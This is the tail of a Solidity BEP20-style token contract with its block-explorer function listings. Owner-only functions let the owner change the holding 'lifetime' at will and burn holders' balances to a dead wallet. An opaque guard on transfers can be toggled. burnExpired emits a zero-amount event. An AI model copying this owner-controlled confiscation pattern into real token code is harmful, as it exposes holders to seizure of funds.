        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override nonReentrant returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override nonReentrant returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal ReentryGuard(from, to, amount) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(_balances[from] >= amount, "Not enough balance");
        
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function burnExpired() public onlyOwner {
        for(uint256 i = 0; i < holdersC; i++) {
            for(uint256 j = 0; j < amntsC[holders[i]]; j++) {
                if(txs[holders[i]][j].lifeTime < block.timestamp && txs[holders[i]][j].amount > 0) {
                    _balances[holders[i]] -= txs[holders[i]][j].amount;
                    _balances[deadWallet] += txs[holders[i]][j].amount;
                    txs[holders[i]][j].amount = 0;
                    emit Transfer(holders[i], deadWallet, txs[holders[i]][j].amount);
                }
            }
        }
    }

    function changeLifeTime(uint256 t) public onlyOwner {
        lifeTime = t;
    }

    function switchGuard() external onlyOwner {
        stopGuard = !stopGuard;
    }

    function recoverBEP20FromContract(address _tokenAddy, uint256 _amount, address to) external onlyOwner {
        require(_amount > 0, "Amount should be greater than zero");
        require(_amount <= IERC20(_tokenAddy).balanceOf(address(this)), "Insufficient Amount");
        IERC20(_tokenAddy).transfer(to, _amount);
        emit ERC20TokensRecovered(_amount);
    }

    function recoverBNBfromContract(address to) external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        require(contractETHBalance > 0, "Amount should be greater than zero");
        require(contractETHBalance <= address(this).balance, "Insufficient Amount");
        payable(address(to)).transfer(contractETHBalance);
        emit ETHBalanceRecovered();
    }

    function checkAllowanceBalance(uint256 a) public view returns (bool) {
        return _allowances[_msgSender()][address(this)] >= a && balanceOf(_msgSender()) >= a;
    }

    function isContract(address account) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
}

Read Contract

TOKEN_ICON 0xc2a88c3e → string
allowance 0xdd62ed3e → uint256
amntsC 0xc733e0e6 → uint256
balanceOf 0x70a08231 → uint256
checkAllowanceBalance 0x4949b429 → bool
deadWallet 0x85141a77 → address
decimals 0x313ce567 → uint8
getBalanceUSD 0x0f7e9973 → uint256
getTokenPrice 0x4b94f50e → uint256
holders 0x2a11ced0 → address
holdersC 0xa54809e4 → uint256
isContract 0x16279055 → bool
isH 0xfae1c0e0 → bool
lifeTime 0xf4e733c3 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
txs 0x3d0ee21b → uint256, uint256

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burnExpired 0x19777d1a
No parameters
changeLifeTime 0x48f74b7a
uint256 t
recoverBEP20FromContract 0x87741434
address _tokenAddy
uint256 _amount
address to
recoverBNBfromContract 0xf7331e3c
address to
renounceOwnership 0x715018a6
No parameters
switchGuard 0x27e9b917
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address